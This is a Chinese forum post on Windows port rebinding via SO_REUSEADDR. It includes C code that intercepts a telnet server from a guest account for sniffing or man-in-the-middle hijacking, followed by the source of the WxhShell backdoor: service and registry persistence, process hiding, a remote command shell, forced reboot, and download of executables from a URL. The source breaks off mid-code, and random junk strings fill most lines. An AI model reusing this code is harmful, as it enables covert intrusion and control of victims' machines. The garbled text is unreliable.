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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W,@ If}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;{[>&4  
)\;Z4x;]U  
  saddr.sin_family = AF_INET; h0Z{,s}  
mnk"Vr` L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 88"Sai  
+|Hioq* ,t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tGdf/aTjy  
t2" (2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OU4pjiLx  
ZR v"h/~  
  这意味着什么?意味着可以进行如下的攻击: 9N Le&o  
TbNGgjT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &hN,xpC  
(([I]q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P^IY: -s  
%g^" ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sbla`6Fb  
Yo2Trh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `SOhG?Zo  
LM1b I4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'j79GC0  
%W;u}`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c^S&F9/U*  
|9s wZ[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &'O?es|Lb  
I'IB_YRL4  
  #include !<Z{@7oH  
  #include a$+#V=bA  
  #include :kp0EiJ  
  #include    f5?hnt`m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?)cJZ>$!w  
  int main() 0xBY(#;Q  
  { R<g=\XO'y  
  WORD wVersionRequested; JuJ5qIal  
  DWORD ret; Kym:J \}9B  
  WSADATA wsaData; ryEvmWYu  
  BOOL val; 6FjVmje  
  SOCKADDR_IN saddr; q<XcOc5  
  SOCKADDR_IN scaddr; r<(kLpOH%  
  int err; E^syrEz  
  SOCKET s; Ekf2NT  
  SOCKET sc; v MWC(m  
  int caddsize; "k>bUe|RG  
  HANDLE mt; ~ &~C#yjg1  
  DWORD tid;   FOp_[rR   
  wVersionRequested = MAKEWORD( 2, 2 ); g{a d0.y,  
  err = WSAStartup( wVersionRequested, &wsaData ); {Gkn_h-^  
  if ( err != 0 ) { )6G+tU'  
  printf("error!WSAStartup failed!\n"); |Ow$n  
  return -1; 7SHo%b A  
  } 4TJ!jDkox  
  saddr.sin_family = AF_INET; r,nn~  
   ,4Y sZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qa?Q bHc  
vs*I7<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;U7t  
  saddr.sin_port = htons(23); M9g1d7%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AI fk"2  
  { w:R]!e_6\9  
  printf("error!socket failed!\n"); mh8nlB  
  return -1; h.LSMU (O  
  } B}5XRgq  
  val = TRUE; g.&\6^)8p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S A3Y:(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j&}B<f _6J  
  { v<fWc971  
  printf("error!setsockopt failed!\n"); 2V<# Y  
  return -1; ST4(|K  
  } H2]BMkum  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MZi8Fo'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gD40y\9r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PDZ)*$EE  
.Bijc G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qq>44k\|)  
  { |vN$"mp^a  
  ret=GetLastError(); ^ N_`^m  
  printf("error!bind failed!\n"); ZArf;&8  
  return -1; n(# c`t*  
  } F~P/*FFK  
  listen(s,2); c$.T<r)Z  
  while(1) nTQ (JDf  
  { &`5 :G LV  
  caddsize = sizeof(scaddr); >,w P! ;dh  
  //接受连接请求 x k#*=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ot"(uW4$[  
  if(sc!=INVALID_SOCKET) dK7 ^  
  { 8Nv-/VQ/b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y7 <(,uT  
  if(mt==NULL) /^WE@r[:  
  { '|+=B u  
  printf("Thread Creat Failed!\n"); .P x,=56$X  
  break; p!V) 55J*  
  } @@xF#3   
  } `}n0=E  
  CloseHandle(mt); 1 pYsjo~  
  } th;]Vo  
  closesocket(s); *xho  
  WSACleanup(); 0MhxFoFO  
  return 0;  pe|\'<>i  
  }   akY6D]M  
  DWORD WINAPI ClientThread(LPVOID lpParam) -hm 9sNox  
  { 6UtG-WHHt  
  SOCKET ss = (SOCKET)lpParam; l9,w>]s  
  SOCKET sc; C(ZcR_+r$,  
  unsigned char buf[4096]; &<OMGGQ[h  
  SOCKADDR_IN saddr; Kjvs@~6t  
  long num;  K oL%}u&  
  DWORD val; 7{8)ykBU^  
  DWORD ret; 13]y)(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 34^Q5B~^J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SwQOFE/Dv~  
  saddr.sin_family = AF_INET; lK 9s0t'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); csm?oUniz  
  saddr.sin_port = htons(23); >EyvdX#v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cbY3mSfn*  
  { <kk'v'GW@  
  printf("error!socket failed!\n"); 96k(X LR  
  return -1; ~c'\IM  
  } ROcY'-  
  val = 100; VdYOm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :K5V/-[|V1  
  { jh-kCF  
  ret = GetLastError(); mRNHq3  
  return -1; "otr+.{`*  
  } ZO]E@?Oav  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | H5Ync[s  
  { _p?I{1O  
  ret = GetLastError(); 3<yCe%I:  
  return -1; </~1p~=hAt  
  } __Vg/C!W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) XWJ0=t&}  
  { thR|h+B  
  printf("error!socket connect failed!\n"); pPU2ar  
  closesocket(sc); UX+?0K  
  closesocket(ss); vQE` c@^{  
  return -1; GWVEIZ  
  } qsQ]M^@>  
  while(1) :a#|  
  { #zh6=.,7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DWHOS XA4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S;G"L$&\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 75' Ua$  
  num = recv(ss,buf,4096,0); ;g!xQvcR  
  if(num>0) 8yNRx iW:  
  send(sc,buf,num,0); B>c[Zg1  
  else if(num==0) ](idf(j  
  break; %!1@aL]pQ  
  num = recv(sc,buf,4096,0); ]M02>=1  
  if(num>0) z0FR33-  
  send(ss,buf,num,0); X:iG[iU*  
  else if(num==0) %l0_PhAB  
  break; "@F*$JGT y  
  } OD>u$tI9  
  closesocket(ss); KI^q 5D ?  
  closesocket(sc); @*AYm-k  
  return 0 ; B`t)rBy  
  } R A-^!4tX  
~M|NzK_9  
*=r@vQ  
========================================================== `XFX`1  
=+kvL2nx-  
下边附上一个代码,,WXhSHELL x`b~ZSNJ%  
`Nxo0Q  
========================================================== %`8KG(F^  
fwz5{>ON]  
#include "stdafx.h" D"1vw<Ak  
j X^&4f  
#include <stdio.h> !c3Qcva  
#include <string.h> vgd}09y  
#include <windows.h> loAfFK>g  
#include <winsock2.h> (dw3'W  
#include <winsvc.h> OoA5!HEh  
#include <urlmon.h> 8tG/VE[  
q| de*~@-P  
#pragma comment (lib, "Ws2_32.lib") "oKj~:$  
#pragma comment (lib, "urlmon.lib") ?ZD{e|:u  
rVc zO+E  
#define MAX_USER   100 // 最大客户端连接数 :d:|7hlNQ  
#define BUF_SOCK   200 // sock buffer Y:#kel<  
#define KEY_BUFF   255 // 输入 buffer ^loF#d= s  
H-PW(  
#define REBOOT     0   // 重启 3 tx0y  
#define SHUTDOWN   1   // 关机 !kjr> :)x  
v>yGsJnV'  
#define DEF_PORT   5000 // 监听端口 kfG65aa>_  
[7ek;d;'t  
#define REG_LEN     16   // 注册表键长度 h|Teh-@A5  
#define SVC_LEN     80   // NT服务名长度 _ cHV3cz  
Dg];(c+/  
// 从dll定义API 96([V|5K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7J </7\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?3KR(6D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3z{5c   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T5X'D(\|  
hc31+TL  
// wxhshell配置信息 P*nT\B  
struct WSCFG { @pEO@bbg>  
  int ws_port;         // 监听端口 EzeDShN=J  
  char ws_passstr[REG_LEN]; // 口令 9cx!N,R t  
  int ws_autoins;       // 安装标记, 1=yes 0=no GwU>o:g"  
  char ws_regname[REG_LEN]; // 注册表键名 vb80J<4  
  char ws_svcname[REG_LEN]; // 服务名 d%[`=fs]|m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n+A'XBHk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !D|pbzQc8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d~xU?)n)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F"HI>t)>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0'`8HP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iM Y0xf8l  
u" NIG  
}; )b:~kuHi  
bl!f5ROS(  
// default Wxhshell configuration GhfUCW%  
struct WSCFG wscfg={DEF_PORT, u3v6$CD?  
    "xuhuanlingzhe", `mHOgS>|  
    1, Z ^9{Qq  
    "Wxhshell", AcfkY m~  
    "Wxhshell", X?k V1  
            "WxhShell Service", 4q 2=:"z4  
    "Wrsky Windows CmdShell Service", M}KM]<  
    "Please Input Your Password: ", <^X'f  
  1, fuIv,lDA  
  "http://www.wrsky.com/wxhshell.exe", \Z7([Gh  
  "Wxhshell.exe" o\:f9JL  
    }; 7! A%6  
V?L$ ys  
// 消息定义模块 b&V]|Z (  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &j~|3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .]sIoB-54  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \i;~~;D  
char *msg_ws_ext="\n\rExit."; 1\.zOq#  
char *msg_ws_end="\n\rQuit."; P.H/H04+  
char *msg_ws_boot="\n\rReboot..."; TF iM[  
char *msg_ws_poff="\n\rShutdown..."; &s}@7htE  
char *msg_ws_down="\n\rSave to "; %(7wZ0Z  
<:yq~?  
char *msg_ws_err="\n\rErr!"; 6^z \;,p  
char *msg_ws_ok="\n\rOK!"; i[BR(D&l_p  
_XO)`D~  
char ExeFile[MAX_PATH]; Cx3m\ \c  
int nUser = 0; YO!7D5rV#  
HANDLE handles[MAX_USER]; F~rY jAFTi  
int OsIsNt; RNrYT|  
y:6'&`L  
SERVICE_STATUS       serviceStatus; _)Z7Le:f!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1b]PCNz  
qer'V  
// 函数声明 J7xT6Q=  
int Install(void); !O-_Dp\#  
int Uninstall(void); +` Y ?-  
int DownloadFile(char *sURL, SOCKET wsh); Ev|{~U  
int Boot(int flag); TWR#MVMI  
void HideProc(void); zl0:U2x7  
int GetOsVer(void); "6o}qeB l  
int Wxhshell(SOCKET wsl); m-KK {{  
void TalkWithClient(void *cs); elHarey`f  
int CmdShell(SOCKET sock); He_(JXTP  
int StartFromService(void); ';CuJ XAj  
int StartWxhshell(LPSTR lpCmdLine); f/WM}Hpj  
i7!mMO8]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZT6X4 Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :iOHc-x  
gW pT:tX-  
// 数据结构和表定义 qLi1yH  
SERVICE_TABLE_ENTRY DispatchTable[] = IWRq:Gw  
{ ;>8TNB e!  
{wscfg.ws_svcname, NTServiceMain}, +(P 43XO08  
{NULL, NULL} JE:n`l/p  
}; m ?"%&|  
gl\$jDC9  
// 自我安装 E `j5y(44  
int Install(void) !m:PBl5  
{ mW(_FS2%,  
  char svExeFile[MAX_PATH]; Y l3[~S  
  HKEY key; 'UG}E@G  
  strcpy(svExeFile,ExeFile); ]! J3?G  
{$TB#=G  
// 如果是win9x系统,修改注册表设为自启动 W yJfF=<  
if(!OsIsNt) { l:Xf(TLa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Ibr.L]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ht)*Ync  
  RegCloseKey(key); IEr`6|X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ysT!^-&p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c:_i)":  
  RegCloseKey(key); yc4f\0B/  
  return 0; y#Sw>-zRq  
    } V7'x? pt  
  } r ~!%w(N|M  
} D}/.;]w<[&  
else { gx9sBkoq5D  
*]| JX&  
// 如果是NT以上系统,安装为系统服务 GvtI-\h]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V5@[7ncVf  
if (schSCManager!=0) ue:P#] tx  
{ >W]"a3E  
  SC_HANDLE schService = CreateService -:p1gg&  
  ( +PXfr~ 4  
  schSCManager, Dt'e<d Is  
  wscfg.ws_svcname, CZ%"Pqy&1L  
  wscfg.ws_svcdisp, whZ],R*u  
  SERVICE_ALL_ACCESS, #2'&=?J1r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N4(VRA  
  SERVICE_AUTO_START, :yFCp@&  
  SERVICE_ERROR_NORMAL, <m gTWv  
  svExeFile, WuZ n|j'  
  NULL, _ ,1kcDu  
  NULL, \bl,_{z?  
  NULL, *rKv`nva5  
  NULL, ^^Q32XC,  
  NULL e6xjlaKb  
  ); ~zC fan/  
  if (schService!=0) %f(.OR)6{  
  { |oi49:NXn  
  CloseServiceHandle(schService); _p2<7x i   
  CloseServiceHandle(schSCManager); 9 @*>$6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0bL=l0N$W  
  strcat(svExeFile,wscfg.ws_svcname); UT7lj wT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sW3D ( n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N$\5%  
  RegCloseKey(key); Kf<_A{s  
  return 0; >@e%,z  
    } ;9 n8on\  
  } r_Yl/WW  
  CloseServiceHandle(schSCManager); `a-T95IFy  
} ~e~Mx=FT0  
} z :jF) N  
WY~[tBi\  
return 1; 8/$iCW  
} P2RL\`<"  
&_9e g  
// 自我卸载 'eY[?LJ]U  
int Uninstall(void) 4n)Mx*{  
{ \ iSBLU  
  HKEY key; ?G<I N)  
v") W@haU  
if(!OsIsNt) { %9)J-B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %D0Ws9:|  
  RegDeleteValue(key,wscfg.ws_regname); $K6`Q4`  
  RegCloseKey(key); P>Rqy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |i}g7  
  RegDeleteValue(key,wscfg.ws_regname); B&j+fi  
  RegCloseKey(key); (Sp~+#XnF  
  return 0; LbI])M  
  } -7VV5W  
} ?|YQtY  
} <$6E r  
else { *0ntx$M-w  
_u5U> w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F>R)~;Ja  
if (schSCManager!=0) LB+=?Mz V  
{ %b4(wn?n:B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I;Y`rGj  
  if (schService!=0) r(CL=[  
  { z{WqICnb  
  if(DeleteService(schService)!=0) { ToM*tXj  
  CloseServiceHandle(schService); yvwcXNXR@  
  CloseServiceHandle(schSCManager); o[6"XJ  
  return 0; XYTcG;_z  
  } HhH'\-[t  
  CloseServiceHandle(schService); D+PUi!  
  }  Jl,x~d  
  CloseServiceHandle(schSCManager); XKIJ6M~5k  
} DdBr Jx  
} YZ P  
~Nh7C b _  
return 1; o-Arfc3Q  
} ;H|M)z#[Z  
5LH ]B  
// 从指定url下载文件 SVz.d/3Y  
int DownloadFile(char *sURL, SOCKET wsh) }CqIKoX.  
{ zKT<QM!`  
  HRESULT hr; 8}@a?QS(&  
char seps[]= "/"; <9ph c  
char *token; a8c]B/  
char *file; Rx2|VD  
char myURL[MAX_PATH]; IvH+94[)  
char myFILE[MAX_PATH]; jK1! \j  
El} z^e  
strcpy(myURL,sURL); _%!hkc(  
  token=strtok(myURL,seps); "// 8^e%Xo  
  while(token!=NULL) +-V?3fQ  
  { ?&_\$L[  
    file=token; #oY7v,x\  
  token=strtok(NULL,seps); 2 G{KpM&  
  } Z`M Q+  
'J$NW  
GetCurrentDirectory(MAX_PATH,myFILE); cXH?'q 'vZ  
strcat(myFILE, "\\"); 8 EH3zm4  
strcat(myFILE, file); bc-}Qn  
  send(wsh,myFILE,strlen(myFILE),0); z8MYgn 7  
send(wsh,"...",3,0); _?<Fc8F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zf#&3K'k  
  if(hr==S_OK) F4Z0g*^x  
return 0; ,/9|j*9H  
else Jq)k?WS  
return 1; x|5/#H  
5P x_vtqP  
} OD|&qsbL  
]uf_"D  
// 系统电源模块 P*]g*&*Y +  
int Boot(int flag) u1<kdTxA N  
{ [%:NR  
  HANDLE hToken; Pp!W$C:  
  TOKEN_PRIVILEGES tkp; `BY`ltW  
eD0@n :  
  if(OsIsNt) { )cXc"aj@s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z>~3*a9&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $i Tgv?.Q  
    tkp.PrivilegeCount = 1; s<]l[Y>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "'(4l 2.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L Jx g  
if(flag==REBOOT) { ,55`s#;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !2}Q9a  
  return 0; Wd# 6Y}:  
} ]B||S7idq  
else { XF6= xD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IK);BN2<L  
  return 0; {]]I4a  
} HDOaN  
  } In2D32"F  
  else { ,zaveQ~l  
if(flag==REBOOT) { B%/Pn 2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \Qn8"I83AV  
  return 0; P2kZi=0  
} huIr*)r&p  
else { ~ 5b %~:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7 &Aakl  
  return 0; gK'MUZ()  
} rOGJ%|%(  
} 3}Pa,u N  
Xs/hqIXB  
return 1; K(^x)w r-:  
} }2S \-  
oCS NA.z  
// win9x进程隐藏模块 bMYRQ,K`C  
void HideProc(void) WjB[e>  
{ W%o){+,  
x4K5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FKP^f\!M  
  if ( hKernel != NULL ) 4=Zlsp  
  { _1~Sj*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` {p5SYj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M}>q>  
    FreeLibrary(hKernel); JQqDUd  
  } frt?*|:  
{T9g\F*  
return; kMA>)\  
} U Lq%,ca  
RfD$@q9  
// 获取操作系统版本 Y~6pJNR  
int GetOsVer(void) gE&f}M-  
{ E:ytdaiT  
  OSVERSIONINFO winfo; -#r_9HQ,w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1 /`>Eh  
  GetVersionEx(&winfo); Dcf`+?3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [Zf<r1m  
  return 1; HFazqQ[  
  else tkmW\  
  return 0; T7v8}_"-  
} !Zrvko  
@fw U%S[v  
// 客户端句柄模块 , F[mh  
int Wxhshell(SOCKET wsl) VF-d^AGt  
{ h$!qb'|  
  SOCKET wsh; vR,'':  
  struct sockaddr_in client; ^iTA4 0K  
  DWORD myID; {D@y-K5  
`e bB+gI  
  while(nUser<MAX_USER) )I#kG{z|P;  
{ vlD]!]V:h  
  int nSize=sizeof(client); TsD >m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v7-'H/d.  
  if(wsh==INVALID_SOCKET) return 1; qrdI"  
;dnn 2)m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #[8gH>7  
if(handles[nUser]==0) R8E<;^?j  
  closesocket(wsh); L%DL n  
else AYi$LsLhO  
  nUser++; hug12Cu  
  } ,ZSuo4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r{btBv  
V6L_aee}CK  
  return 0; M$)+Uo 2  
} ~^eAS;  
Wwz>tE  
// 关闭 socket PIA&s6U  
void CloseIt(SOCKET wsh) N  P"z  
{ gR+Z"]  
closesocket(wsh); (7IF5g\  
nUser--; Q*wx6Pu8  
ExitThread(0); %bsdC0xM  
} sk5\"jna  
rk~/^(!  
// 客户端请求句柄 5*CwQJC<  
void TalkWithClient(void *cs) 0\m zGfd  
{ ?:ZH%R_`a  
;(sb^O  
  SOCKET wsh=(SOCKET)cs; X:Zqgf  
  char pwd[SVC_LEN]; [H& m@*UO  
  char cmd[KEY_BUFF]; ; ^$RG  
char chr[1]; )sQbDA|p  
int i,j; Ub"\LUu  
8c~H![2u  
  while (nUser < MAX_USER) { @EQ{lGpU3  
] !H<vR$8  
if(wscfg.ws_passstr) { #G,e]{gs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MLDuo|?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ldxUq,p  
  //ZeroMemory(pwd,KEY_BUFF); yF:fxdpw  
      i=0; B5cTzY.h-  
  while(i<SVC_LEN) { , R)[$n  
OJ 2M_q)e  
  // 设置超时 e D}Ga4  
  fd_set FdRead; 4ldN0 _T5  
  struct timeval TimeOut; R[Rs2eS_  
  FD_ZERO(&FdRead); {hl_/ aG  
  FD_SET(wsh,&FdRead); Mk?9`?g.  
  TimeOut.tv_sec=8; suVS!} C  
  TimeOut.tv_usec=0; ~UnfS};U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6B 8!2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2vwT8/  
>[p+L='  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8dpVB#]pp,  
  pwd=chr[0]; -&&mkK B!  
  if(chr[0]==0xd || chr[0]==0xa) { emHi= [!i  
  pwd=0; \KEL.}B9E  
  break; njIvVs`q  
  } lRrOoON  
  i++; V6!oe^a7'  
    } #qPk,a  
^b%AwzHH}  
  // 如果是非法用户,关闭 socket 1/gh\9h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3drgB;:g`  
} Y5;:jYk#<_  
q q`Uv U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8'YL!moG|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /#XO!%=7  
X2{3I\'Ft  
while(1) { Q=dR[t>^  
l`1ZS8 [.  
  ZeroMemory(cmd,KEY_BUFF); \h yTcFb  
' Sl9xd  
      // 自动支持客户端 telnet标准   E>ev/6ox  
  j=0; g5cR.]oz  
  while(j<KEY_BUFF) { |h'ugx1iY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6`yq4!&v  
  cmd[j]=chr[0]; !=-l760  
  if(chr[0]==0xa || chr[0]==0xd) { bNC1[GG[  
  cmd[j]=0; WgjaMmht  
  break; 8FMP)N4+  
  } FrVD~;  
  j++; d<whb2l  
    } V +hV&|=  
J@$>d  
  // 下载文件 {S}/LSNB  
  if(strstr(cmd,"http://")) { F[+sc Mx!G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )TWf/L cp  
  if(DownloadFile(cmd,wsh)) c>^_4QQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c{E-4PYbah  
  else t512]eqhb(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T^79p$  
  } )&w\9}B:  
  else { ^!}lA9\gY  
Ug9o/I@}C  
    switch(cmd[0]) { {C3bCVQ]o  
  g ` Wr3  
  // 帮助 Ah"Rx A  
  case '?': { !ine|NM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )S`A+M K]  
    break; M_PL{  
  } lmod8B  
  // 安装 3:C *'@  
  case 'i': { MXhS\vF#m  
    if(Install()) 9|go`^*.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /E*P0y~KTW  
    else )~Q$ tM`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s^AYPmR6  
    break; UqAvFCy  
    } w0.#/6  
  // 卸载 0D\FFfs  
  case 'r': { f[z#=zv  
    if(Uninstall()) 3U}z?gP[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CfVz'  
    else lUp 7#q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :gR`rc!  
    break; <}e<Zf!  
    } 1mB6rp  
  // 显示 wxhshell 所在路径 U$-FQRM4K  
  case 'p': { lKm?Xu'yH  
    char svExeFile[MAX_PATH]; osnDW aN  
    strcpy(svExeFile,"\n\r"); 0wc+<CUW  
      strcat(svExeFile,ExeFile); t%/5$<!b  
        send(wsh,svExeFile,strlen(svExeFile),0); :]]amziP&  
    break; "c}b qoN  
    } vzVl2  
  // 重启 6h5*b8LxA  
  case 'b': { *zmbo >{(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2;q6~Y,  
    if(Boot(REBOOT)) ]2( %^#qBG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\S..B +  
    else { c~>M7e(  
    closesocket(wsh); rVz#;d!`z  
    ExitThread(0); %7{6>6%  
    } L 5>>gG ,  
    break; 2\7]EW  
    } Gjzhgz--  
  // 关机 j\W+wnAgk  
  case 'd': { {yJ{DU?%Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o`& idn|,  
    if(Boot(SHUTDOWN)) j6Vuj/+}  
